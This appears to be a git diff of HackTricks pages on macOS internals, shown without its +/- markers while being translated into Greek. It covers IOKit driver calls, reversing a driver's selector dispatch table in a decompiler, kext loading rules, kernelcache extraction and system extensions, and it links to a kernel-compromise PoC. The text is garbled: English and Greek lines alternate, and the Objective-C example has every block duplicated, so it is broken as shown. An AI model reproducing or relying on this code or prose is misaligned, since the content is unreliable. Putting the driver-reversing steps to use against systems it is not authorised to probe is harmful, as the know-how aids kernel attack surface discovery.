2. **IODeviceTree Plane**: This plane represents the physical connections between devices as they are attached to the system. It is often used to visualize the hierarchy of devices connected via buses like USB or PCI.
3. **IOPower Plane**: Displays objects and their relationships in terms of power management. It can show which objects are affecting the power state of others, useful for debugging power-related issues.
4. **IOUSB Plane**: Specifically focused on USB devices and their relationships, showing the hierarchy of USB hubs and connected devices.
5. **IOAudio Plane**: This plane is for representing audio devices and their relationships within the system.
1. **IOService Plane**: Αυτός είναι ο πιο γενικός plane, που εμφανίζει τα αντικείμενα υπηρεσίας που αντιπροσωπεύουν οδηγούς και nubs (κανάλια επικοινωνίας μεταξύ οδηγών). Δείχνει τις σχέσεις παρόχου-πελάτη μεταξύ αυτών των αντικειμένων.
2. **IODeviceTree Plane**: Αυτός ο plane αντιπροσωπεύει τις φυσικές συνδέσεις μεταξύ συσκευών καθώς συνδέονται στο σύστημα. Χρησιμοποιείται συχνά για να οπτικοποιήσει την ιεραρχία των συσκευών που συνδέονται μέσω λεωφόρων όπως USB ή PCI.
3. **IOPower Plane**: Εμφανίζει αντικείμενα και τις σχέσεις τους σε όρους διαχείρισης ενέργειας. Μπορεί να δείξει ποια αντικείμενα επηρεάζουν την κατάσταση ενέργειας άλλων, χρήσιμο για την αποσφαλμάτωση προβλημάτων που σχετίζονται με την ενέργεια.
4. **IOUSB Plane**: Ειδικά επικεντρωμένος σε συσκευές USB και τις σχέσεις τους, δείχνοντας την ιεραρχία των USB hubs και των συνδεδεμένων συσκευών.
5. **IOAudio Plane**: Αυτός ο plane είναι για την αναπαράσταση συσκευών ήχου και των σχέσεών τους εντός του συστήματος.
6. ...
## Driver Comm Code Example
The following code connects to the IOKit service `"YourServiceNameHere"` and calls the function inside the selector 0. For it:
- it first calls **`IOServiceMatching`** and **`IOServiceGetMatchingServices`** to get the service.
- It then establish a connection calling **`IOServiceOpen`**.
- And it finally calls a function with **`IOConnectCallScalarMethod`** indicating the selector 0 (the selector is the number the function you want to call has assigned).
Ο παρακάτω κώδικας συνδέεται με την υπηρεσία IOKit `"YourServiceNameHere"` και καλεί τη λειτουργία μέσα στον επιλεγέα 0. Για αυτό:
- πρώτα καλεί **`IOServiceMatching`** και **`IOServiceGetMatchingServices`** για να αποκτήσει την υπηρεσία.
- Στη συνέχεια, καθορίζει μια σύνδεση καλώντας **`IOServiceOpen`**.
- Και τελικά καλεί μια λειτουργία με **`IOConnectCallScalarMethod`** υποδεικνύοντας τον επιλεγέα 0 (ο επιλεγέας είναι ο αριθμός που έχει ανατεθεί στη λειτουργία που θέλετε να καλέσετε).
```objectivec
#import <Foundation/Foundation.h>
#import <IOKit/IOKitLib.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get a reference to the service using its name
CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere");
if (matchingDict == NULL) {
NSLog(@"Failed to create matching dictionary");
return -1;
}
@autoreleasepool {
// Get a reference to the service using its name
CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere");
if (matchingDict == NULL) {
NSLog(@"Failed to create matching dictionary");
return -1;
}
// Obtain an iterator over all matching services
io_iterator_t iter;
kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to get matching services");
return -1;
}
// Obtain an iterator over all matching services
io_iterator_t iter;
kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to get matching services");
return -1;
}
// Get a reference to the first service (assuming it exists)
io_service_t service = IOIteratorNext(iter);
if (!service) {
NSLog(@"No matching service found");
IOObjectRelease(iter);
return -1;
}
// Get a reference to the first service (assuming it exists)
io_service_t service = IOIteratorNext(iter);
if (!service) {
NSLog(@"No matching service found");
IOObjectRelease(iter);
return -1;
}
// Open a connection to the service
io_connect_t connect;
kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to open service");
IOObjectRelease(service);
IOObjectRelease(iter);
return -1;
}
// Open a connection to the service
io_connect_t connect;
kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to open service");
IOObjectRelease(service);
IOObjectRelease(iter);
return -1;
}
// Call a method on the service
// Assume the method has a selector of 0, and takes no arguments
kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to call method");
}
// Call a method on the service
// Assume the method has a selector of 0, and takes no arguments
kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to call method");
}
// Cleanup
IOServiceClose(connect);
IOObjectRelease(service);
IOObjectRelease(iter);
}
return 0;
// Cleanup
IOServiceClose(connect);
IOObjectRelease(service);
IOObjectRelease(iter);
}
return 0;
}
```
Υπάρχουν **άλλες** συναρτήσεις που μπορούν να χρησιμοποιηθούν για να καλέσουν τις συναρτήσεις IOKit εκτός από **`IOConnectCallScalarMethod`** όπως **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
There are **other** functions that can be used to call IOKit functions apart of **`IOConnectCallScalarMethod`** like **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
## Αντιστροφή σημείου εισόδου οδηγού
## Reversing driver entrypoint
Μπορείτε να τα αποκτήσετε αυτά για παράδειγμα από μια [**εικόνα firmware (ipsw)**](./#ipsw). Στη συνέχεια, φορτώστε την στον αγαπημένο σας αποσυμπιεστή.
You could obtain these for example from a [**firmware image (ipsw)**](./#ipsw). Then, load it into your favourite decompiler.
You could start decompiling the **`externalMethod`** function as this is the driver function that will be receiving the call and calling the correct function:
Μπορείτε να ξεκινήσετε την αποσυμπίεση της συνάρτησης **`externalMethod`** καθώς αυτή είναι η συνάρτηση του οδηγού που θα δέχεται την κλήση και θα καλεί τη σωστή συνάρτηση:
<figure><img src="../../../images/image (1168).png" alt="" width="315"><figcaption></figcaption></figure>
<figure><img src="../../../images/image (1169).png" alt=""><figcaption></figcaption></figure>
That awful call demagled means:
Αυτή η απαίσια κλήση αποκαταστάθηκε σημαίνει:
```cpp
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
Note how in the previous definition the **`self`** param is missed, the good definition would be:
Σημειώστε πώς στην προηγούμενη ορισμό λείπει η παράμετρος **`self`**, η καλή ορισμός θα ήταν:
```cpp
IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
Actually, you can find the real definition in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388):
Στην πραγματικότητα, μπορείτε να βρείτε τον πραγματικό ορισμό στο [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388):
```cpp
IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments,
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference)
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference)
```
With this info you can rewrite Ctrl+Right -> `Edit function signature` and set the known types:
Με αυτές τις πληροφορίες μπορείτε να ξαναγράψετε Ctrl+Right -> `Edit function signature` και να ορίσετε τους γνωστούς τύπους:
<figure><img src="../../../images/image (1174).png" alt=""><figcaption></figcaption></figure>
The new decompiled code will look like:
Ο νέος αποσυμπιεσμένος κώδικας θα φαίνεται έτσι:
<figure><img src="../../../images/image (1175).png" alt=""><figcaption></figcaption></figure>
For the next step we need to have defined the **`IOExternalMethodDispatch2022`** struct. It's opensource in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), you could define it:
Για το επόμενο βήμα πρέπει να έχουμε ορίσει τη δομή **`IOExternalMethodDispatch2022`**. Είναι ανοιχτού κώδικα στο [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), μπορείτε να το ορίσετε:
<figure><img src="../../../images/image (1170).png" alt=""><figcaption></figcaption></figure>
Now, following the `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` you can see a lot of data:
Τώρα, ακολουθώντας το `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` μπορείτε να δείτε πολλά δεδομένα:
<figure><img src="../../../images/image (1176).png" alt="" width="563"><figcaption></figcaption></figure>
Change the Data Type to **`IOExternalMethodDispatch2022:`**
Αλλάξτε τον Τύπο Δεδομένων σε **`IOExternalMethodDispatch2022:`**
<figure><img src="../../../images/image (1177).png" alt="" width="375"><figcaption></figcaption></figure>
after the change:
μετά την αλλαγή:
<figure><img src="../../../images/image (1179).png" alt="" width="563"><figcaption></figcaption></figure>
And as we now in there we have an **array of 7 elements** (check the final decompiled code), click to create an array of 7 elements:
Και όπως γνωρίζουμε εκεί έχουμε ένα **array 7 στοιχείων** (ελέγξτε τον τελικό αποσυμπιεσμένο κώδικα), κάντε κλικ για να δημιουργήσετε ένα array 7 στοιχείων:
<figure><img src="../../../images/image (1180).png" alt="" width="563"><figcaption></figcaption></figure>
After the array is created you can see all the exported functions:
Αφού δημιουργηθεί το array μπορείτε να δείτε όλες τις εξαγόμενες συναρτήσεις:
<figure><img src="../../../images/image (1181).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> If you remember, to **call** an **exported** function from user space we don't need to call the name of the function, but the **selector number**. Here you can see that the selector **0** is the function **`initializeDecoder`**, the selector **1** is **`startDecoder`**, the selector **2** **`initializeEncoder`**...
> Αν θυμάστε, για να **καλέσουμε** μια **εξαγόμενη** συνάρτηση από τον χώρο χρήστη δεν χρειάζεται να καλέσουμε το όνομα της συνάρτησης, αλλά τον **αριθμό επιλεγέα**. Εδώ μπορείτε να δείτε ότι ο επιλεγέας **0** είναι η συνάρτηση **`initializeDecoder`**, ο επιλεγέας **1** είναι **`startDecoder`**, ο επιλεγέας **2** **`initializeEncoder`**...
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,38 +4,37 @@
## Basic Information
Kernel extensions (Kexts) are **packages** with a **`.kext`** extension that are **loaded directly into the macOS kernel space**, providing additional functionality to the main operating system.
Οι επεκτάσεις πυρήνα (Kexts) είναι **πακέτα** με κατάληξη **`.kext`** που **φορτώνονται απευθείας στον χώρο του πυρήνα macOS**, παρέχοντας επιπλέον λειτουργικότητα στο κύριο λειτουργικό σύστημα.
### Requirements
Obviously, this is so powerful that it is **complicated to load a kernel extension**. These are the **requirements** that a kernel extension must meet to be loaded:
Προφανώς, αυτό είναι τόσο ισχυρό που είναι **περίπλοκο να φορτωθεί μια επέκταση πυρήνα**. Αυτές είναι οι **απαιτήσεις** που πρέπει να πληροί μια επέκταση πυρήνα για να φορτωθεί:
- When **entering recovery mode**, kernel **extensions must be allowed** to be loaded:
- Όταν **μπαίνετε σε λειτουργία ανάκτησης**, οι επεκτάσεις πυρήνα **πρέπει να επιτρέπεται** να φορτωθούν:
<figure><img src="../../../images/image (327).png" alt=""><figcaption></figcaption></figure>
- The kernel extension must be **signed with a kernel code signing certificate**, which can only be **granted by Apple**. Who will review in detail the company and the reasons why it is needed.
- The kernel extension must also be **notarized**, Apple will be able to check it for malware.
- Then, the **root** user is the one who can **load the kernel extension** and the files inside the package must **belong to root**.
- During the upload process, the package must be prepared in a **protected non-root location**: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant).
- Finally, when attempting to load it, the user will [**receive a confirmation request**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) and, if accepted, the computer must be **restarted** to load it.
- Η επέκταση πυρήνα πρέπει να είναι **υπογεγραμμένη με πιστοποιητικό υπογραφής κώδικα πυρήνα**, το οποίο μπορεί να **χορηγηθεί μόνο από την Apple**. Ποιος θα εξετάσει λεπτομερώς την εταιρεία και τους λόγους για τους οποίους είναι απαραίτητο.
- Η επέκταση πυρήνα πρέπει επίσης να είναι **notarized**, η Apple θα μπορεί να την ελέγξει για κακόβουλο λογισμικό.
- Στη συνέχεια, ο χρήστης **root** είναι αυτός που μπορεί να **φορτώσει την επέκταση πυρήνα** και τα αρχεία μέσα στο πακέτο πρέπει να **ανήκουν στον root**.
- Κατά τη διαδικασία φόρτωσης, το πακέτο πρέπει να είναι προετοιμασμένο σε μια **προστατευμένη τοποθεσία μη root**: `/Library/StagedExtensions` (απαιτεί την χορήγηση `com.apple.rootless.storage.KernelExtensionManagement`).
- Τέλος, όταν προσπαθεί να το φορτώσει, ο χρήστης θα [**λάβει ένα αίτημα επιβεβαίωσης**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) και, αν γίνει αποδεκτό, ο υπολογιστής πρέπει να **επανεκκινήσει** για να το φορτώσει.
### Loading process
In Catalina it was like this: It is interesting to note that the **verification** process occurs in **userland**. However, only applications with the **`com.apple.private.security.kext-management`** grant can **request the kernel to load an extension**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
Στο Catalina ήταν έτσι: Είναι ενδιαφέρον να σημειωθεί ότι η **διαδικασία επαλήθευσης** συμβαίνει σε **userland**. Ωστόσο, μόνο οι εφαρμογές με την χορήγηση **`com.apple.private.security.kext-management`** μπορούν να **ζητήσουν από τον πυρήνα να φορτώσει μια επέκταση**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. **`kextutil`** cli **starts** the **verification** process for loading an extension
- It will talk to **`kextd`** by sending using a **Mach service**.
2. **`kextd`** will check several things, such as the **signature**
- It will talk to **`syspolicyd`** to **check** if the extension can be **loaded**.
3. **`syspolicyd`** will **prompt** the **user** if the extension has not been previously loaded.
- **`syspolicyd`** will report the result to **`kextd`**
4. **`kextd`** will finally be able to **tell the kernel to load** the extension
1. **`kextutil`** cli **ξεκινά** τη **διαδικασία επαλήθευσης** για τη φόρτωση μιας επέκτασης
- Θα επικοινωνήσει με **`kextd`** στέλνοντας χρησιμοποιώντας μια **υπηρεσία Mach**.
2. **`kextd`** θα ελέγξει διάφορα πράγματα, όπως την **υπογραφή**
- Θα επικοινωνήσει με **`syspolicyd`** για να **ελέγξει** αν η επέκταση μπορεί να **φορτωθεί**.
3. **`syspolicyd`** θα **ζητήσει** από τον **χρήστη** αν η επέκταση δεν έχει φορτωθεί προηγουμένως.
- **`syspolicyd`** θα αναφέρει το αποτέλεσμα στον **`kextd`**
4. **`kextd`** θα είναι τελικά σε θέση να **πεί** στον πυρήνα να φορτώσει την επέκταση
If **`kextd`** is not available, **`kextutil`** can perform the same checks.
Αν **`kextd`** δεν είναι διαθέσιμο, **`kextutil`** μπορεί να εκτελέσει τους ίδιους ελέγχους.
### Enumeration (loaded kexts)
```bash
# Get loaded kernel extensions
kextstat
@ -43,40 +42,38 @@ kextstat
# Get dependencies of the kext number 22
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
```
## Kernelcache
> [!CAUTION]
> Even though the kernel extensions are expected to be in `/System/Library/Extensions/`, if you go to this folder you **won't find any binary**. This is because of the **kernelcache** and in order to reverse one `.kext` you need to find a way to obtain it.
> Αν και οι επεκτάσεις πυρήνα αναμένονται να βρίσκονται στο `/System/Library/Extensions/`, αν πάτε σε αυτόν τον φάκελο **δεν θα βρείτε κανένα δυαδικό αρχείο**. Αυτό οφείλεται στο **kernelcache** και για να αναστρέψετε ένα `.kext` πρέπει να βρείτε έναν τρόπο να το αποκτήσετε.
The **kernelcache** is a **pre-compiled and pre-linked version of the XNU kernel**, along with essential device **drivers** and **kernel extensions**. It's stored in a **compressed** format and gets decompressed into memory during the boot-up process. The kernelcache facilitates a **faster boot time** by having a ready-to-run version of the kernel and crucial drivers available, reducing the time and resources that would otherwise be spent on dynamically loading and linking these components at boot time.
Το **kernelcache** είναι μια **προ-συγκεντρωμένη και προ-συνδεδεμένη έκδοση του πυρήνα XNU**, μαζί με βασικούς **οδηγούς** και **επικεφαλίδες πυρήνα**. Αποθηκεύεται σε **συμπιεσμένη** μορφή και αποσυμπιέζεται στη μνήμη κατά τη διαδικασία εκκίνησης. Το kernelcache διευκολύνει έναν **ταχύτερο χρόνο εκκίνησης** έχοντας μια έτοιμη προς εκτέλεση έκδοση του πυρήνα και κρίσιμων οδηγών διαθέσιμων, μειώνοντας τον χρόνο και τους πόρους που θα δαπανώνταν διαφορετικά για τη δυναμική φόρτωση και σύνδεση αυτών των στοιχείων κατά την εκκίνηση.
### Local Kerlnelcache
In iOS it's located in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS you can find it with: **`find / -name "kernelcache" 2>/dev/null`** \
In my case in macOS I found it in:
Στο iOS βρίσκεται στο **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** στο macOS μπορείτε να το βρείτε με: **`find / -name "kernelcache" 2>/dev/null`** \
Στην περίπτωσή μου στο macOS το βρήκα στο:
- `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
#### IMG4
The IMG4 file format is a container format used by Apple in its iOS and macOS devices for securely **storing and verifying firmware** components (like **kernelcache**). The IMG4 format includes a header and several tags which encapsulate different pieces of data including the actual payload (like a kernel or bootloader), a signature, and a set of manifest properties. The format supports cryptographic verification, allowing the device to confirm the authenticity and integrity of the firmware component before executing it.
Η μορφή αρχείου IMG4 είναι μια μορφή κοντέινερ που χρησιμοποιείται από την Apple στα iOS και macOS συσκευές για την ασφαλή **αποθήκευση και επαλήθευση των στοιχείων υλικολογισμικού** (όπως το **kernelcache**). Η μορφή IMG4 περιλαμβάνει μια κεφαλίδα και αρκετές ετικέτες που περι encapsulate διάφορα κομμάτια δεδομένων, συμπεριλαμβανομένου του πραγματικού φορτίου (όπως ένας πυρήνας ή bootloader), μια υπογραφή και ένα σύνολο ιδιοτήτων manifest. Η μορφή υποστηρίζει κρυπτογραφική επαλήθευση, επιτρέποντας στη συσκευή να επιβεβαιώσει την αυθεντικότητα και την ακεραιότητα του στοιχείου υλικολογισμικού πριν το εκτελέσει.
It's usually composed of the following components:
Συνήθως αποτελείται από τα εξής στοιχεία:
- **Payload (IM4P)**:
- Often compressed (LZFSE4, LZSS, …)
- Optionally encrypted
- Συχνά συμπιεσμένο (LZFSE4, LZSS, …)
- Προαιρετικά κρυπτογραφημένο
- **Manifest (IM4M)**:
- Contains Signature
- Additional Key/Value dictionary
- Περιέχει Υπογραφή
- Πρόσθετο λεξικό Κλειδιού/Τιμής
- **Restore Info (IM4R)**:
- Also known as APNonce
- Prevents replaying of some updates
- OPTIONAL: Usually this isn't found
Decompress the Kernelcache:
- Γνωστό και ως APNonce
- Αποτρέπει την επανάληψη ορισμένων ενημερώσεων
- ΠΡΟΑΙΡΕΤΙΚΟ: Συνήθως αυτό δεν βρίσκεται
Αποσυμπιέστε το Kernelcache:
```bash
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
@ -84,49 +81,39 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### Download&#x20;
### Λήψη&#x20;
- [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) it's possible to find all the kernel debug kits. You can download it, mount it, open it with [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) tool, access the **`.kext`** folder and **extract it**.
Check it for symbols with:
Στο [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) είναι δυνατή η εύρεση όλων των πακέτων αποσφαλμάτωσης πυρήνα. Μπορείτε να το κατεβάσετε, να το τοποθετήσετε, να το ανοίξετε με το εργαλείο [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), να αποκτήσετε πρόσβαση στον φάκελο **`.kext`** και **να το εξαγάγετε**.
Ελέγξτε το για σύμβολα με:
```bash
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
```
- [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
Sometime Apple releases **kernelcache** with **symbols**. You can download some firmwares with symbols by following links on those pages. The firmwares will contain the **kernelcache** among other files.
Κάποιες φορές η Apple κυκλοφορεί **kernelcache** με **symbols**. Μπορείτε να κατεβάσετε κάποιες εκδόσεις firmware με symbols ακολουθώντας τους συνδέσμους σε αυτές τις σελίδες. Οι εκδόσεις firmware θα περιέχουν το **kernelcache** μεταξύ άλλων αρχείων.
To **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it.
Για να **extract** τα αρχεία, ξεκινήστε αλλάζοντας την επέκταση από `.ipsw` σε `.zip` και **unzip** το.
After extracting the firmware you will get a file like: **`kernelcache.release.iphone14`**. It's in **IMG4** format, you can extract the interesting info with:
Αφού εξαγάγετε το firmware, θα λάβετε ένα αρχείο όπως: **`kernelcache.release.iphone14`**. Είναι σε μορφή **IMG4**, μπορείτε να εξαγάγετε τις ενδιαφέρουσες πληροφορίες με:
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
```bash
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### Εξέταση του kernelcache
### Inspecting kernelcache
Check if the kernelcache has symbols with
Ελέγξτε αν το kernelcache έχει σύμβολα με
```bash
nm -a kernelcache.release.iphone14.e | wc -l
```
With this we can now **extract all the extensions** or the **one you are interested in:**
Με αυτό μπορούμε τώρα **να εξάγουμε όλες τις επεκτάσεις** ή την **μία που σας ενδιαφέρει:**
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
@ -139,10 +126,9 @@ kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
## Αποσφαλμάτωση
## Debugging
## Referencias
## Αναφορές
- [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
- [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)

View File

@ -4,7 +4,7 @@
## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
[**In this report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) are explained several vulnerabilities that allowed to compromised the kernel compromising the software updater.\
[**Σε αυτή την αναφορά**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) εξηγούνται αρκετές ευπάθειες που επέτρεψαν την παραβίαση του πυρήνα παραβιάζοντας τον ενημερωτή λογισμικού.\
[**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722).
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,78 +4,76 @@
## System Extensions / Endpoint Security Framework
Unlike Kernel Extensions, **System Extensions run in user space** instead of kernel space, reducing the risk of a system crash due to extension malfunction.
Σε αντίθεση με τις Kernel Extensions, **οι System Extensions εκτελούνται σε χώρο χρήστη** αντί για χώρο πυρήνα, μειώνοντας τον κίνδυνο συστήματος από κατάρρευση λόγω δυσλειτουργίας της επέκτασης.
<figure><img src="../../../images/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
There are three types of system extensions: **DriverKit** Extensions, **Network** Extensions, and **Endpoint Security** Extensions.
Υπάρχουν τρεις τύποι system extensions: **DriverKit** Extensions, **Network** Extensions, και **Endpoint Security** Extensions.
### **DriverKit Extensions**
DriverKit is a replacement for kernel extensions that **provide hardware support**. It allows device drivers (like USB, Serial, NIC, and HID drivers) to run in user space rather than kernel space. The DriverKit framework includes **user space versions of certain I/O Kit classes**, and the kernel forwards normal I/O Kit events to user space, offering a safer environment for these drivers to run.
Το DriverKit είναι μια αντικατάσταση για τις kernel extensions που **παρέχουν υποστήριξη υλικού**. Επιτρέπει στους οδηγούς συσκευών (όπως USB, Serial, NIC, και HID drivers) να εκτελούνται σε χώρο χρήστη αντί για χώρο πυρήνα. Το πλαίσιο DriverKit περιλαμβάνει **εκδόσεις χώρου χρήστη ορισμένων κλάσεων I/O Kit**, και ο πυρήνας προωθεί κανονικά γεγονότα I/O Kit σε χώρο χρήστη, προσφέροντας ένα ασφαλέστερο περιβάλλον για αυτούς τους οδηγούς.
### **Network Extensions**
Network Extensions provide the ability to customize network behaviors. There are several types of Network Extensions:
Οι Network Extensions παρέχουν τη δυνατότητα προσαρμογής των συμπεριφορών δικτύου. Υπάρχουν αρκετοί τύποι Network Extensions:
- **App Proxy**: This is used for creating a VPN client that implements a flow-oriented, custom VPN protocol. This means it handles network traffic based on connections (or flows) rather than individual packets.
- **Packet Tunnel**: This is used for creating a VPN client that implements a packet-oriented, custom VPN protocol. This means it handles network traffic based on individual packets.
- **Filter Data**: This is used for filtering network "flows". It can monitor or modify network data at the flow level.
- **Filter Packet**: This is used for filtering individual network packets. It can monitor or modify network data at the packet level.
- **DNS Proxy**: This is used for creating a custom DNS provider. It can be used to monitor or modify DNS requests and responses.
- **App Proxy**: Αυτό χρησιμοποιείται για τη δημιουργία ενός VPN client που υλοποιεί ένα ροής-προσανατολισμένο, προσαρμοσμένο πρωτόκολλο VPN. Αυτό σημαίνει ότι διαχειρίζεται την κυκλοφορία δικτύου με βάση τις συνδέσεις (ή ροές) αντί για μεμονωμένα πακέτα.
- **Packet Tunnel**: Αυτό χρησιμοποιείται για τη δημιουργία ενός VPN client που υλοποιεί ένα πακέτο-προσανατολισμένο, προσαρμοσμένο πρωτόκολλο VPN. Αυτό σημαίνει ότι διαχειρίζεται την κυκλοφορία δικτύου με βάση τα μεμονωμένα πακέτα.
- **Filter Data**: Αυτό χρησιμοποιείται για την φιλτράρισμα των "ροών" δικτύου. Μπορεί να παρακολουθεί ή να τροποποιεί τα δεδομένα δικτύου σε επίπεδο ροής.
- **Filter Packet**: Αυτό χρησιμοποιείται για την φιλτράρισμα μεμονωμένων πακέτων δικτύου. Μπορεί να παρακολουθεί ή να τροποποιεί τα δεδομένα δικτύου σε επίπεδο πακέτου.
- **DNS Proxy**: Αυτό χρησιμοποιείται για τη δημιουργία ενός προσαρμοσμένου παρόχου DNS. Μπορεί να χρησιμοποιηθεί για την παρακολούθηση ή την τροποποίηση των αιτημάτων και απαντήσεων DNS.
## Endpoint Security Framework
Endpoint Security is a framework provided by Apple in macOS that provides a set of APIs for system security. It's intended for use by **security vendors and developers to build products that can monitor and control system activity** to identify and protect against malicious activity.
Το Endpoint Security είναι ένα πλαίσιο που παρέχεται από την Apple στο macOS που προσφέρει ένα σύνολο APIs για την ασφάλεια του συστήματος. Προορίζεται για χρήση από **προμηθευτές ασφάλειας και προγραμματιστές για την κατασκευή προϊόντων που μπορούν να παρακολουθούν και να ελέγχουν τη δραστηριότητα του συστήματος** για να εντοπίσουν και να προστατεύσουν από κακόβουλες δραστηριότητες.
This framework provides a **collection of APIs to monitor and control system activity**, such as process executions, file system events, network and kernel events.
Αυτό το πλαίσιο παρέχει μια **συλλογή APIs για την παρακολούθηση και τον έλεγχο της δραστηριότητας του συστήματος**, όπως εκτελέσεις διεργασιών, γεγονότα συστήματος αρχείων, γεγονότα δικτύου και πυρήνα.
The core of this framework is implemented in the kernel, as a Kernel Extension (KEXT) located at **`/System/Library/Extensions/EndpointSecurity.kext`**. This KEXT is made up of several key components:
Ο πυρήνας αυτού του πλαισίου είναι υλοποιημένος στον πυρήνα, ως Kernel Extension (KEXT) που βρίσκεται στο **`/System/Library/Extensions/EndpointSecurity.kext`**. Αυτό το KEXT αποτελείται από αρκετά βασικά στοιχεία:
- **EndpointSecurityDriver**: This acts as the "entry point" for the kernel extension. It's the main point of interaction between the OS and the Endpoint Security framework.
- **EndpointSecurityEventManager**: This component is responsible for implementing kernel hooks. Kernel hooks allow the framework to monitor system events by intercepting system calls.
- **EndpointSecurityClientManager**: This manages the communication with user space clients, keeping track of which clients are connected and need to receive event notifications.
- **EndpointSecurityMessageManager**: This sends messages and event notifications to user space clients.
